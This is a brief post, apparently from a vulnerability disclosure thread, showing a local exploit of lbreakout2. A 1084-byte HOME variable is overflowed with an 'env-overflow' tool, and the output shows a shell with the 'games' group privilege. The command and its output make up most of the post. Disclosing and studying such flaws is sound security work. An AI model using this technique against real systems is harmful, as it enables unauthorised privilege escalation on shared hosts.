I much prefer mine ;)
Using the `env-overflow` tool this may be exploited without
the need for a valid X11 display - ie. ssh/telnet access
sufficient - or any explicit coding:
skx@uml:~$ ./env-overflow /usr/games/lbreakout2 1084 HOME
... snip ...
sh-2.05a$
sh-2.05a$ id
uid=1000(skx) gid=100(users) egid=60(games) groups=100(users)
